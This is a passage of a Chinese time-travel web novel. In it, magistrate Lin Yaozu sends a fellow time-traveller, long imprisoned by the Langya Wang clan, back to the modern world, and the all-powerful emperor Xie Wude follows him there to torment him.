而王旭和琅琊王氏基本上已经被开除了世家的行列,成为了他们眼中的叛徒。 琅琊王氏想要把他们自己造成新的圣人,完全不顾他们这些曾经的同党的死活了。 方士们只能告退,不再打扰谢吾德了。 他们再着急也没什么用。 他们只是被谢吾德抛弃又重新找回来的人,他们可没有能与现在已经手握权力的团体对抗的力量。 谢吾德顺便把那个飘过来的、别人所看不到的镜头推远。 林耀祖看着镜头,忍不住说道:“陛下还真是什么都知道呢。” 【他本来也不是这个时代的土著吧。】弹幕也很淡定了。 未来世界的人也逐渐察觉到了谢吾德的一些真实的身份背景。 他们之前也不是没有想过谢吾德为什么对现代世界不感兴趣。 不过二十年的时间足够给他们一个答案了。 那是因为他很有可能就是从现代世界来的人。 就算是人造的世界,那依然是有聪明人存在。 该知道的基本上都知道了,甚至有人都能够给谢吾德建立一套完整的档案了。 谢吾德比他们想象的还要恐怖,而且谢吾德也比他们想象中的还要不把他们放在眼里。 如果是以前的话,林耀祖或许心中还会觉得有点别扭,觉得这是谢吾德瞧不起她们,想要为自己争一口气,但是现在她也四十多岁了,对于现在这种情况,她只有一个想法:怎么还有这种好事? 她就希望她的对手能够多瞧不起她一点,尤其是谢吾德这种危险的家伙。 至于被谢吾德瞧不起是一件很正常的事情,林耀祖早就过了会因此自尊心受挫的年纪了,甚至已经到了用自尊心换资源的年纪。 谢吾德要是有心针对她们,那她们也别玩了。 现在谢吾德的态度对他们而言是最大的幸运。 倒是之前有看直播的人有一点逆反,曾经在直播中说过类似“不能让谢吾德瞧不起她们”这样的话,要给谢吾德一点颜色看看,但是说这种话的人大多数当天就进了医院——被谢吾德给了一点颜色。 如果他们愿意和谐地陪着谢吾德玩一场凡人与暴君的游戏,那谢吾德就会尽量地用普通的规则和他们对抗;但是如果她们想要把谢吾德的面子给扯下来,那直接触碰到了谢吾德的雷点,他必须要把这些人给彻底消灭掉。 众所周知,当一个普通人和泰森站在擂台上,而泰森表示愿意通过石头剪刀布的方式来分胜负,聪明人就会选择立刻同意,晚一秒都是对自己生命的不重视。 林耀祖看着窗外,她并没有打开窗户,就这么隔着质量略显粗糙和老旧的玻璃看着。 窗外的景色略显暗淡,地上已经立起了一些烟囱。 之前她和尔雅来到这里建设工厂,而现在这里已经成了一个巨大的工业区,每年都有不少人前来寻求各种机会。 有一些思维比较灵活的人也学着她们建设起了工厂。 这些建设还如同空中浮萍一样,只不过随着时间的推移,这个显得有些虚幻的科技树逐渐变得真实了起来,即使林耀祖突然消失也不会导致科技断层了。 但是与此相对的,为了能够积蓄足够的力量来抵抗谢吾德之后的“游戏”,又或者是谢吾德直接弃游后其他国家的入侵,她来不及在意环境的问题。她们是在与时间赛跑。 谢吾德是一个失控的引擎,他不可能让所有人都停下来,而某个时间线一到,人们甚至都来不及面对污染问题,就要面对战争甚至是屠杀。 在生死问题面前,寿命也是很重要的。 “林太守。”一个年轻人走了过来。 林耀祖和他点了点头。 她认识这个人,是琅琊王氏的成员。 琅琊王氏如今也算是他们的一个合作伙伴了。 他们所推行的平等思想已经在这附近逐渐地扩张,但是他们的学说最先影响到的就是琅琊王氏自身。 他们中不少年轻人是真的认可这一套,并且以此为方向努力的。 这份理想不一定经得起考验,但是某种趋势已经形成了。 年轻人有点崇拜地看着林耀祖。 毕竟在林耀祖在其他人眼里,林耀祖的地位几乎是现实历史上的牛顿加爱迪生的结合体,将整个国家的发展往前推了许多年。 当然,她差的也只是一点学术上的实际成果,比如说一些公式的运算之类的。 不过林耀祖带来的改变也是实打实的,所以没人会在大庭广众之下说林耀祖就是一个智力平平的普通人——更何况林耀祖从未说过自己是一个聪明人。 二十年的时间足够培养出一批还算不错的人了。 这里其实还要感谢一下谢吾德。 当时谢吾德是为了让世家炸毛,所以才提出要选一批来自普通百姓的学生,再加上谢吾德让他们不愁吃喝,所以这些新出生的这一代人就被望子成龙的父母要求去好好学习,到时候能成功地通过科举,当上大官。 谢吾德没打算在这个时代照搬古代的科举,他也看不懂,他用现代的课程列表让余文彦看着去制定宣贯标准。 谢吾德是真的给官,在第一批能够顶替世家的官员出现的时候,他就要求余文彦裁掉朝堂上世家九成的人。 他不管什么地位、贡献,他就要裁员名单。 谁要不愿意让位,那就让他的头让位。 世家怎么想姑且不论,但是普通人是真的狂热了。 不过也不是所有人都能当上官的,被刷下来的人就得做点别的。 这让他们在进行计划的时候,能够找到有着足够知识水平的劳动力。 其实细细说来,这也算是“学历内卷”,有点悲剧。 他们以前学习是为了当官的,结果最后只是换个地方埋头苦干,很多人其实都没有什么动力。 但是出于一种朴实的想法,绝大多数人都是想着不能什么都不干,所以林耀祖就能把他们收到手下,让他们进厂。 王甘今天来是和林耀祖汇报一下最近新工业区遇到的一些情况。 毫不意外的,各种因为缺少防护意识的人捅出了不少篓子。 林耀祖和提供技术支持的团体都很清楚这背后各个看上去累赘操作的必要性,但耐不住人类总是自以为是,又因为林耀祖提出来的这些防护策略前瞻性太强了,背后没有具体的事例作为支撑,很多人觉得林耀祖像是在杞人忧天一样。 很多地方还是结结实实地吃了一发教训才老实地听林耀祖的指挥。 林耀祖看了一眼弹幕,将弹幕上提出来的一些措施一一地讲给王甘听。 王甘点点头。 他是一个有真才实学的人,是考科举考上来的。 无论是林耀祖还是谢吾德,他们都不相信血统论。 现在虽然每个人都不缺日常生活所用的资源,但是受到的教育、拿到的教育资源还是有所差距的。 像是王甘这样的世家子弟依旧能在普通人中够脱颖而出。 “对了,太守。”王甘今天例行汇报结束之后,忽然想到了一件事情,他看上去颇为犹豫,就好像在为什么难以启齿的事情一样。 林耀祖抬头:“怎么了?” “家中传来了消息,他们说……想要让您去见一个人。”王甘很少提起琅琊王氏的事情。 对于王甘来说,出身世家并不是一件荣耀的事情,反而是他行事的累赘。 但凡他有一点成就,很多人都觉得这全都是因为琅琊王氏对他的支持。 ……虽然不能说他完全独立,但是他其实也很想要证明自己的实力。 林耀祖沉思了片刻。 琅琊王氏想要让她去见什么人值得让王甘用这种要求私下会面的方式去见? 总不可能他们又想要谋反吧? 即使现在林耀祖和琅琊王氏的合作颇多,那也仅限利益上的接触。 忽然她的心念一动,想到了一个人。 这个世界除了她之外,还有一个穿越者。 当时他们就怀疑这个穿越者似乎是在琅琊王氏的手上。 现在琅琊王氏神神秘秘的,他们该不会是想让她去见见那个穿越者吧? 第112章 林耀祖对另外一个穿越者没有什么好感,但是也没有什么恶感。 他就是一个普通人,最大的特点就是比她还提早穿了几年。 不像其他小说中的那些穿越者前辈往往会留下对主角来说十分重要、引导其走出前期甚至是贯穿全文的重要线索或者道具,这位穿越者反而像是在给敌方加buff一样。 只不过,他当初想的可能是让二皇子取代谢吾德上位,他则研究谢吾德力量的来源,成就一番事业。 大概就是那种非常直接的男频思维——为什么要站在皇帝之下? 要做就做万人之上。 林耀祖也不是不会看那些男频小说,她可是听说现在都不流行辅佐皇帝了。 可谁曾想,谢吾德自己就是他自己力量的来源。于是最后惨败在谢吾德手下。 胡增鑫想着万人之上,可是却没有成功衡量自己的能力,或者真的因为穿越了,让他觉得自己是独一无二的主角。 当初他如果知道林耀祖的存在,大概会想办法把她给杀了,保证自己的特殊性。 一开始林耀祖没有救他,是因为没有那个能力去救;后来是暂时没有救他的必要;再到最后,林耀祖都快要把这个同为穿越者的家伙给完全忘在了脑后。 ……也不能算是完全的忘记,只是暂时搁置,毕竟救他超出了她能力的范畴。 琅琊王氏作为一个传承千年的家族,家里用来保命的地道和用来关人的地牢一点都不少,救人的难度非常之高。 就算找到胡增鑫了,琅琊王氏也可能会杀人灭口,来一出死无对证。 唯一可能的变数就是谢吾德了。 如果谢吾德愿意帮忙的话,那位穿越者还是有可能被救出来的。 只可惜谢吾德对他没有丝毫兴趣。 那个穿越者做的最错的一步,大概就是没有实际去和谢吾德见一面,至少没有尝试去刷一下谢吾德的好感度。 不知道他是胆大还是胆小。 他胆大的敢在没有足够的资本的时候,想着让二皇子对谢吾德取而代之,而他则拿走谢吾德的力量,但是他同时又胆小的不敢真的和谢吾德这个在历史中有着恐怖名声的人去见一面。 于是这位可能曾经雄心勃勃的穿越者,就直接被淹没在了时间的长河中。 林耀祖在了解了当初发生过的一些事情之后,对于胡增鑫这个穿越者其实并没有多少好感。 先不说她有没有这个能力,就算她有,她和对方非亲非故,她没有搭上一切去帮那个因为自己狂妄自大而翻车的穿越者的责任。 林耀祖没有伟大到那种程度。 而琅琊王氏突然又来拜访她,疑似是要把这位穿越者给她送过来,目的又是什么呢? 林耀祖思考了很久。 本来她还怀疑这背后是不是有什么阴谋,可是想想这二十年过去了,那位穿越者前辈也不知道多大了,他该不会得了什么病,或者要老死了,彻底失去了利用价值,所以来找林耀祖吗? 琅琊王氏手上有一个穿越者,十有八九已经猜到了林耀祖也是一个穿越者。 在发现和她有着共通之处的人出了状况之后来找她售后吗? 虽然这么说有点地狱…… 琅琊王氏对这件事情还算是重视,有琅琊王氏的一位重要成员亲自带着另外一位穿越者来到林耀祖的附近。 而在听说琅琊王氏带了计划之外的人之后,林耀祖就更加确定了自己的猜测没错,这的确就是那位穿越者前辈。 这一次他们并没有给这位穿越者增加保护,因为这位穿越者的价值已经被榨干了。 现在他已经没有什么价值了,自然就不值得那样的待遇了。 林耀祖在时隔二十年后,总算见到了自己这位穿越者前辈。 琅琊王氏的人跟她介绍着这位穿越者,而那位穿越者好像眼神有点发呆,他一直盯着天空,甚至时不时地就会去看向阳光,直到落下泪来。 对方的皮肤苍白到一种病态的程度,身上的骨骼还有一定程度的变形扭曲。 看得出来,他在琅琊王氏过得很差,并且饱受折磨。 琅琊王氏可没打算好好对待胡增鑫,因为没有必要。 胡增鑫这个人都被他们抓在手里了,他在这个世界无依无靠,二皇子已经死了。 胡增鑫因为恐惧谢吾德,所以把自己藏得很好,而现在却给他带来了致命的弱点:没有人去找他,没有人来尝试救他。 对于琅琊王氏而言,他们需要的是胡增鑫的知识。 而胡增鑫其实也只是一个普通人,可能掌握了一定的枪械制造技巧。 可是他对琅琊王氏有用的知识很快就被榨干了。 胡增鑫就算不甘心自己就这么被抛弃,可是到了之后,他怎么都找不到能够让琅琊王氏给予他更多优待的地方。 琅琊王氏现在虽然以“每个生命都是平等的”作为学说向外传播,但是他们最核心的成员却并不认可这个想法。 这只是一个工具,哪怕工具已经隐隐地有所反噬,那也只是反噬了相对外围的家族成员。他们本身依然是一个封建世家。 胡增鑫甚至还算是幸运。 这里可是吃人的封建社会。 琅琊王氏在榨干胡增鑫的价值之后,没有直接把他杀死,而是还愿意给他一口饭,让他活下来,那已经算是捡回一条命。 “你们方便让我和他单独谈一谈吗?”林耀祖开口温声问道。 琅琊王氏的人答应得很痛快:“没问题,林太守,你尽管问,那我们就先离开。” 琅琊王氏的人拉着王甘从房间里走了出去,而胡增鑫在琅琊王氏的人走出去之后,总算把视线放在了林耀祖身上。 直播间看到这位穿越者的样子,一个个都大惊失色。 【这就是那位穿越者老兄吗?】 【像是进去了一样。】 【别造谣我们监狱,我们监狱给犯人的待遇要好得多。】 【改造是手段,但是不是唯一的目的,我们的目的是让他重新改造,好好做人。】 【谢吾德不是一个好人,并不代表这些世家就是什么好人了。】 胡增鑫抬眼看了看林耀祖。 林耀祖不知道对方是早就听说过她,还是一眼就认出来了。他说:“你也来自现代。” 他对于这个话题毫不避讳,而直接丢出这个问题,似乎也是想要从林耀祖这里得到话语的控制权。 林耀祖只是很平静地笑了一下。 现在她整天面对一群傻逼上司和同僚,下面还要处理一堆烦人的事情,偶尔还会有一些幺蛾子找上门来。 胡增鑫这点手段对于现在的她来说,根本就不算什么,甚至还很青涩——毕竟他恐怕二十年没和外面的人打交道了。 她早就不是当初初出茅庐的生瓜蛋子了。 以前也不是没人想用她穿越者的身份来诈她,想让她在身份暴露的时候展现出自己的脆弱,被人掌控对话权。 最开始还是会奏效的,林耀祖在骤然被人点出这一点的时候,难免会变得磕磕巴巴,有几分惊慌失措。虽然她知道就算自己穿越者这个身份被曝光了,也不会有什么大事。谢吾德都不在意,其他人还能动得了她? 可是她就是很慌。 不过好在那会儿尔雅都在,在林耀祖慌乱的时候,尔雅就会站出来掌控全局。 这招被用多了,就彻底失效了。 “是啊,没想到在这种地方还能见到老乡。”林耀祖表现得就像是第一次知道有胡增鑫这个穿越者一样。 别的她都不打算谈,尤其是自己试图帮助过对方的事情。 她能够看出胡增鑫在这里受了很多折磨,他对琅琊王氏毫无办法,就很有可能会把怨恨投注在没能救她的林耀祖身上,所以林耀祖只打算把对方当作一个初次听说过的人,这样就算胡增鑫遇到什么,也不至于将仇恨转移到她身上。 胡增鑫哼了一声,看着林耀祖的眼神有一点怨怼。 在封建社会呆久了,他难免会产生一些封建的观念,比如人是有三六九等的,而这也是琅琊王氏控制他的一环。 刚穿越的时候,他也不排斥这观点,因为他直接找上了二皇子,营造出了一种神秘感,让二皇子立刻把他奉为座上宾。他是那个高高在上的人,所以当时的他对封建制度没有多少排斥。 结果他后来却成为了琅琊王氏的阶下囚。 他没办法接受这件事情,更没办法接受林耀祖这个女人居然能够过上这样好的日子。 “林太守吗?”他冷笑 多么不公——这是双关。 虽然林耀祖表现得像是一朵纯洁的小白花,好像第一次认识他一样,但是胡增鑫可是听琅琊王氏提到过她,说胡增鑫怎么这么没用,不像那个林耀祖一样。 林耀祖注意到了胡增鑫的眼神,心想,现在就有这样的苗头了。 胡增鑫看上去并非是那种会知恩图报的类型。林耀祖也不和他多谈,她点开了自己的系统,查询能不能把其他的穿越者送回去。 胡增鑫注意到林耀祖的动作,他睁大了眼睛,忍不住说:“你有系统?” 凭什么他没有这些东西。 他就知道自己不是因为太差而失败的。 林耀祖没有说话,她只是看了胡增鑫一眼。 在确定能够把胡增鑫送回去之后,啪的一声就把人传回去了。 没什么可说,也没什么可问的。 对于胡增鑫而言,这只是一趟失败而且让他饱受折磨的穿越之旅。 第113章 “那个人去哪儿了?”琅琊王氏的人走进来的时候十分意外地问道。 他们刚刚就在门口不远的地方聊天,所以十分确定没有人从外面出来,他们也没有听到有人翻窗或者翻墙离开的动静。 林耀祖也没有装作自己什么都不知道的样子,她直接说道:“我把他送回去了。” “嗯?”琅琊王氏的人略微一惊,他们颇为诧异地看着林耀祖,“真的送回去了?” 说着,他们往地上看。 林耀祖本来以为他们是想要找机关暗道,但是过了几秒钟,她就反应过来。 这哪里是找机关暗道的样子,这分明是在找地上有没有水渍和血迹啊。 他们依旧在怀疑林耀祖其实是把人给杀了。他是什么人了?林耀祖在心里暗想。她在这里也不是没有做过事,但是她从来没有通过暗杀解决过问题。 王甘在一旁冷哼了一声,对家里人这么做着实是看不上眼。 “林太守绝对不是那样会随便杀人的人。” 琅琊王氏来的人脸色变了几变,不是因为王甘这胳膊肘往外拐的话,而是这个答案实在是超出了他们的预料。 他们还以为从未来穿到过去是一条单行线。 这个猜测是有依据的。 如果胡增鑫自己能回去,他大概早就回去了。 他虽然有点狂妄,而且精神也逐渐出了点问题,但是他也没傻到那一步。他要是能跑,早就跑远了,又怎么会忍受琅琊王氏的虐待呢? 他在有病的方向上也不是受虐狂。 那么唯一的解释就是,虽然同为来自未来的人,但是林耀祖和胡增鑫是不一样的。穿越者与穿越者之间亦有高下之分。 琅琊王氏的人有点失望地看着林耀祖。当时如果他们抓到的是林耀祖这个穿越者该有多好。 谢吾德其实是不需要这样的穿越者助力的。林耀祖在他们的手上能发挥更大的作用。 林耀祖注意到了琅琊王氏所派来的人的眼神。她对这种眼神已经习以为常了——那是对她所掌握的知识和力量的渴求的眼神。 这种事情以前也发生过,只不过都被她处理掉了。以前那些人这么看她,是因为她是谢吾德的近臣,想要通过得到她,从而得到谢吾德的另眼相待。而现在这一些人看,则是因为她穿越者的身份,才有了一些想法。 本质上都是一群贪心不足的家伙。 林耀祖也不担心自己作为穿越者的底牌暴露了,相反,这其实是一种威慑,告诉琅琊王氏不要轻举妄动。就算他们想要对她下手,她也有随时逃离的准备。 在被林耀祖用一种危险的眼神注视之后,琅琊王氏的人逐渐把头低了下去。他也意识到了什么是现实——现实就是林耀祖是他动不得的人。 “怎么?你们还想要把他带回去吗?”林耀祖抱臂,看着琅琊王氏的人,气场还分外凌厉。琅琊王氏的人看着林耀祖这个样子,忽然想到了尔雅——林耀祖现在的样子和尔雅十分相似,都学到了尔雅那种凌厉的气场。 琅琊王氏的人叹了一口气:“这倒也没有。” 在胡增鑫生病的那一刻,琅琊王氏就基本判定可以抛弃胡增鑫了。 胡增鑫的确生病了。他们倒是能够看出来得了什么病,但是想要治好就要调节他的身心状况,他们是不可能放胡增鑫直接在外面走的。所以才把人交给了林耀祖,希望林耀祖能够控制住他,或者干脆把胡增鑫杀死。 当然,他们觉得最大的可能还是后者。林耀祖能够得到谢吾德的青睐,主要还是因为她是一个足够特别的穿越者。虽然谢吾德之前表现出了对胡增鑫的不感兴趣,可是林耀祖肯定也不希望出现一个有着和她相似定位的人。 林耀祖端茶准备送客了。她和琅琊王氏果然没有什么可以谈的。她对胡增鑫没有什么好感,但是对琅琊王氏更是恶感满满。没人会喜欢不把人当人的家伙。 “这件事情我会和陛下说的。”林耀祖也没有隐瞒谢吾德的打算。 谢吾德绝对会知道这件事情的。可是在这里,如果谢吾德知道了,林耀祖知道这件事情全部告诉他,一定会生气的…… 琅琊王氏的人也并没有什么意外的神色。他说道:“那就请林太守自己定夺吧。”他们也不怕谢吾德对他们下手。对于谢吾德来说,琅琊王氏现在能够带给他的乐趣,和林耀祖不相上下. 谢吾德收到了自动提示,提示有穿越者已经回归了他原本的世界了。 【啊?我还没好好玩过那个穿越者呢。】谢吾德十分失望。 【之前林耀祖不是跟你说过,想要让你过去,想要让你把他救出来吧?】亚夏说道。 【当时不想玩嘛。】谢吾德有点不满地说道。就是那种感觉不对,而且都有林耀祖了,好像没必要再来一个穿越者。 【只有在失去的时候才是最好玩的,是吧?】温特也加入了吐槽的队列。人类这种生物就是有点贱坯子。谢吾德这种闲得无聊、不缺玩具的家伙更是如此。 【他都回去了,你就放过他吧。】亚夏虽然没有太把这个世界的人的生死看在眼里,毕竟这个世界是可以被他回档的,但是他也不是很能看得过谢吾德随意折腾人。 【不。你知道吗?因为你这句话,让我更想要去折腾他了。】谢吾德随手一挥,便召唤了一大片一大片的流星。流星坠地,直接击垮了那边的城墙。这里的城墙并不雄伟,但是也是常人难以攻陷的关卡。谢吾德看着远处的城堡,他隔着一百米的距离,伸出手,隔空掰断了城堡的尖塔,然后反过来插在了地上。 现如今欧洲的实力实在是不够看。这年头又没有工业革命,他们都还是处在使用冷兵器的阶段。这里的国家十分破碎,没有办法集中起力量,组织起足够大规模的部队。所以,在中原王朝的部队的进攻下,直接被击垮了。估计再往西走就会出现联军了,不过那大概也不够谢吾德看的。现在的战术都是大国部队向前进,可是那样对于谢吾德来说最好解决了。一颗流星或者直接撕裂大地就能把他们解决。而且这也算是给谢吾德省事了,不需要他挨个地找上门去。 谢吾德看向邱潇,他歪歪头问道:【剩下的你们都能解决吧?】 邱潇点头。“陛下是有什么事情要去做吗?” 【我有点事情。】谢吾德也没说清楚自己要去干嘛,直接消失了. 胡增鑫是有点惊恐地被送回了现代,而他被传送的地点直接是公安局门口。 这个现代世界是一个没有超自然力量的世界。当一个人突然地出现在了繁华的街道上,周围的人就会立刻将目光集中过来。 周围的人看着胡增鑫这狼狈的样子,原本紧张的心瞬间放了下来——这么虚弱的人能干什么呢?唯一的疑惑就是这是怎么了。不过绝大多数人的心还是很善良的,他们立刻喊了救护车。有一些人刚刚看了林耀祖的直播,知道胡增鑫的长相,所以他们喊道:“这不是那个另外一个穿越者吗?” 胡增鑫原本是稀里糊涂的。他被一群人围上来,眼睛都不知道往哪里看。二十年的时间,让许多东西都产生了变化。出现在这里,他觉得自己像是在做梦一样。这是幻觉,还是死后世界?总不能真的是现代吧。但是在听到这句话之后,胡增鑫猛地抬头。这群家伙是什么意思?他们居然知道他? 胡增鑫遍体生寒。这些人是怎么知道他的?是因为林耀祖吗? 这个样子……该不会是见到了他在荣国异常狼狈的那些年吧?这到底是怎么回事? 救护车很快赶来,并且把胡增鑫送进医院进行了一系列的检查——又是抽血化验,又是心理测试。 这一套流程,他们也给回来探亲的林耀祖做过。 如果不是胡增鑫一看就知道精神状况不稳定的话,他们还想着让物理学家也给他来做一套测试,想要从另外一个人身上看看能不能检查到一些异常数据。 胡增鑫的眼神有点阴郁。二十年前的他其实并不是这样的,二十年前的他其实还算得上是机敏,还有着相对不错的沟通能力,不然也不会在见到二皇子的时候,让对方将他奉为座上宾。抛去他做的一些不太明智的决定之外,他的其他事情还真的就挺像是男频主角的。只不过,再开朗的人大概都抵不过二十年的折磨。现在剩下的基本只有对这个世界的怨恨了。 二十年的时间早已让一切都物是人非了,周围的环境早就大变样。 胡增鑫不是孤儿,他有家人。他自己的失踪数据早就被记录在档案库里了,在匹配上基因之后,胡增鑫的家人赶来了。 在他穿越之后,他的家里人也有努力地找过他,然而都一无所获。 对于穿越的人来说,这真的是上穷碧落下黄泉,两处茫茫皆不见。 在看到自己失而复得的儿子,一家人都紧紧地抱在一起,痛哭流涕。家人的力气大到好像要把胡增鑫的脖子都折断了一样。 然而胡增鑫自己却没有什么感觉,一切都好像轻飘飘的,像是在做梦一样。 说句有点残忍的,他早就忘了自己的家人要长什么样了。而这些人在二十年的时间里,相貌也发生了翻天覆地的改变。因为自家孩子失踪,所以长相变得格外沧桑。 在林耀祖那里时,他还能够感觉到自己强烈的不甘。 二十年时间足够磨灭任何人的一切希望了。 这二十年里没人救他,足够让他的意志扭曲。而现在终于得救了,他却觉得现实十分古怪。 他习惯了现实是冰冷的地牢和对他态度恶劣的看守,以及那些如果不是想要从他身上得到些什么,就坚决不会来找他的琅琊王氏的成员。这才是现实,这才是他用二十年时间确定的现实。 直到夜晚,他的家人体贴地跟他说“好好休息吧,我们明天再谈”,他才恍然感觉到了这荒谬的世界的一抹真实。 这些人都很体贴,他们在照顾着他的想法,而不是逼迫着胡增鑫接受一切。 这和他的噩梦完全不同。 其实他们都非常迫切地想要让胡增鑫相信他不是在做梦,可是有些事情急不来。他是被突然送回来的,他需要时间去消化这件事情。 胡增鑫独自躺在病床上,他的手抓着白色的床单,纤维摩擦着他的指腹,这比他在琅琊王氏用的物料要高级得多。 黑暗使人恐惧,但是同样也使人宁静。 没有其他的干扰,现在他独自一人,总算有了些许实感。 他坐了起来,望向了窗外。窗外是灯红酒绿的现代都市,而不是那个连窗户都没有的地牢。别看他之前和林耀祖说那些话,就好像他还有很多想法一样,实际上他说这些纯粹就是他的心态扭曲,想要让林耀祖不痛快。他自己真实的想法则是一个再普通不过的普通人。 就在这时,一个东西“啪”地掉在地上,吸引了胡增鑫的注意力。 这是谢吾德丢的。这个病房是空无一人的吗?当然不是了,还有一个坏心眼的正隐匿在黑暗里呢。 这个玉牌是他在离开的时候,随手从身边随行的琅琊王氏成员身上薅的。 当时那个人非常不满,喊了一句“陛下”。他不敢瞪谢吾德,但是那态度却十分明显。 这个人其实也是当初被那群方士举报的那个家伙。 谢吾德对对方的不满恍若未觉,还希望对方能够多被他冒犯一点。 这天下什么不是他的?他想要就得给他。 不过如果对方知道他拿自己的玉牌是为了吓唬人,一定会更生气的吧?. 胡增鑫双手颤抖着握住这个身份牌。 上面写的字他都十分熟悉,因为在过去的二十年里,他曾反复地看到这几个字:琅琊王氏。 玉牌又“啪”的一声掉落在了地上。 胡增鑫双手颤抖着,他完全没办法拿住这轻轻的一个小物件。 顾真心觉得这玉牌上的四个字重若千金,那这个玉牌便真就重若千钧了。 他们来了!他们来了! 一种惶恐袭上心头。 胡增鑫几乎要呕吐出来。 他这其实是应激了。 即使知道在现代,琅琊王氏的武力值根本就不值一提,可是恐惧是非理性的。 在离开最开始的那个环境之后,关于琅琊王氏的一切事情就变得格外突兀,他的身上也开始疼了起来,就好像琅琊王氏的人依然在殴打着他。 二十年时间足够让胡增鑫在这方面被培养出习得性无助。 亚夏看着这一幕,咬着牙倒吸了一口气:【你这家伙实在是太坏了。】 那些方士被搞得像是疯掉了一样可能是意外,但是如果胡增鑫被逼疯了,那绝对是谢吾德的错. 胡增鑫的声音引起了外面医护人员的关注。 作为这世界唯二的穿越者,他们相当关心胡增鑫的身体状况。护士进来后问道:“先生,有什么问题吗?” 胡增鑫第一反应就是把这个玉牌藏了起来。 护士注意到了他的动作,但是停顿了一下,什么都没有问。 胡增鑫有点惊疑不定地看着护士,似乎想要看看她的长相上有没有什么琅琊王氏的特点,可是他什么都没看出来,于是只能道:“刚刚好像有人进来了。” 护士盯着胡增鑫,似乎是在判断他是不是精神出了问题。 这并非出自恶意或者怀疑,而是一种审慎的观察态度。 先不说胡增鑫之前的思想到底有没有什么问题,但凡是一个生活在现代社会的、而且具有同理心的普通人,听到他的故事,都难免会为他难过——哥们也太惨了。 在古代社会被折磨了二十年,他现在还能够和人正常对话,已经算是很幸运了,但是绝对不能指望他还是个精神正常的家伙。 半晌,护士决定还是相信胡增鑫。毕竟他遇到的事情本来也就不怎么科学,自然不能用科学的视角去看待一切。 她说:“在我的肉眼和监控中并没有看到有人进出,而且我也没有收到相关的警报,但是一切以您的感受为主。需要我把安保叫过来吗?” 护士也不是普通的护士,她是受过专门培训的,和安全局之类的机构有着亲密的合作。他们也担心国外有人想要把胡增鑫抢走。 可别让胡增鑫好不容易穿越回来了,又进了实验室。 胡增鑫的声音瞬间提高了一个八度:“不要!” 护士被他这激烈的反应吓到了,她问:“先生?” 胡增鑫深吸了一口气,他感觉自己刚刚的反应有点太过了,努力地克制着自己,然后说:“先不用。” 就算把人喊过来,也不一定能够起到什么作用。穿越时空本就是一件神奇的事情。 护士从善如流。既然胡增鑫不愿意,那她也没必要去勉强对方。而且她想,胡增鑫应该是担心自己叫的人可能也会有问题。遇到一些神秘事件的人,难免会这么怀疑。 东方恐怖故事的精髓,大概就在于此了。不是怪物突然扑过来,而是队伍里忽然出现了一个怪物。 在护士走之后,胡增鑫警惕地看着四周,然后问道:“你是谁?你在哪?你是王旭还是王钧?” 胡增鑫面对着病床,他看上去像是在喃喃自语一样。 他极力克制着自己的声音,不要颤抖,想要让自己的声音听上去像是平时交谈一样。 然而什么动静都没有。 没有人回应。也没有人活动的声音,他只能够听到远处汽车鸣笛以及热闹城市中嘈杂的声音。闭上眼睛,甚至还隐隐地能够听到远处公园大爷大妈跳广场舞的动静。 这里和他记忆中的真实世界没有多少差别。他记忆中的世界是一个没有谢吾德、没有诡异力量、也没有穿越的地方。 就在胡增鑫松了一口气,重新躺下的时候,一个人倒吊着,从上方探了下来。 他看着胡增鑫,脸带笑意说道:“想我了吗?” 对方穿着一身红衣,在黑暗之中,隐约像是索命厉鬼一样。 胡增鑫大脑中的那一根弦啪的一声断了,他终于克制不住,凄厉地惨叫了起来。 胡增鑫的叫声实在是太吓人了,就像是有人拿着斧头直愣愣地往他脑门上劈一样。而护士只觉得自己的耳膜像是被贯穿了一样。天知道一个男人尖叫的时候,声调高得像女性的尖叫。 在护士带着安保人员闯进来的时候,胡增鑫正在用床单裹着自己的全身,整个人瑟瑟发抖。即使隔着被子,他的颤抖也无比的明显。 “发生了什么事?”保安队长想要看看情况,试图去掀胡增鑫的被子,但是被胡增鑫尖叫着赶了出去。 “滚开!不要动!不要动!不要靠近我!” 那虽然是一团被子,被子里的是人,但是胡增鑫的挣扎愣是让人怀疑被子里的是不是一个海胆。保安队长不怕怪物,他可是退役军人,但是但凡是个人都会害怕这种好像疯掉的家伙。 胡增鑫显然是应激了,他担心自己一探头就会看到刚刚那双幽蓝色的眼睛。 之前他还可能没反应过来,但是事后他绝对反应过来了。 那个人不是别人,正是谢吾德。 他没见过谢吾德,但是谢吾德那双标志性的蓝色眼睛,是明明白白地写在历史中的。而他刚从荣朝穿回来,他第一时间想到的就是谢吾德。 他居然能跟过来…… 他居然跟过来了…… 在荣超度过的二十年,让他将荣朝的一切当做了一场无比恐怖的噩梦。 明明之前他一直都没有见过谢吾德,他以为谢吾德对他完全不感兴趣呢。 那为什么他会出现在这里? 胡增鑫的思绪变成了一团乱麻。 隐藏了自己身形的谢吾德,隔着被子看着胡增鑫的脖子。 他嘿嘿一笑,用手搅动着被子里的空气,往他脖子里吹气。 胡增鑫再一次爆发出了一声凄厉的尖叫。 最后没得玩了,因为胡增鑫尿裤子了。 而医院的人也终于看到了那个从被子里掉出来的玉牌,上面写着琅琊王氏四个字,所有人面面相觑。 他们知道谢吾德有可能追过来,难道琅琊王氏的人也能够追得过来? 第114章 有一个熟悉的账号给林耀祖发了消息。 林耀祖打开去看,那边是问她知不知道谢吾德来到了现代。 【谢吾德他差点把胡增鑫吓死。】 这个“吓死”不是一种夸张的修辞手法,而是陈述事实。 胡增鑫差一点就要被送进急救室了。 胡增鑫在穿越的时候就比林耀祖大,已经将近三十岁,又过了二十年完全不舒坦的日子。 他的身体差劲到了一定的程度,不然琅琊王氏也不可能把他放回来。 林耀祖沉默两秒,说道:【还有这种事情?】 他们一开始其实是怀疑这次的事情是琅琊王氏做的,但是在研究了半天之后,觉得果然还是谢吾德做的可能性比较高。 琅琊王氏哪有这样的本事? 再说了,他们要是能够穿越的话,那为什么要穿越到未来? 琅琊王氏可以说是除了皇帝之外,封建势力的又一大代表,可以说他们坏,但是绝对不能说他们蠢。 在未来他们没有权力和地位,就连人多势众、凭借人数优势占据主导都做不到。 以胡增鑫和林耀祖拿出来的那些东西来看,未来的武器也远比现在要发达,他们处处都不占优,疯了才会去未来。 他们应该选择回到过去,回到荣朝建立之前,给荣太祖来上一刀,让他生不出孩子来。 林耀祖否定之后,那边再没有其他的问题了。 不然难道还要他们跟林耀祖说“盯紧谢吾德”吗? 他们说这些话一是提醒林耀祖要小心,二则是看看能不能从林耀祖这边得到一些额外的消息。 既然没有,那什么都不必说了。 林耀祖看看身边的箱子。 这个箱子是谢吾德之前给每个官员安排的。 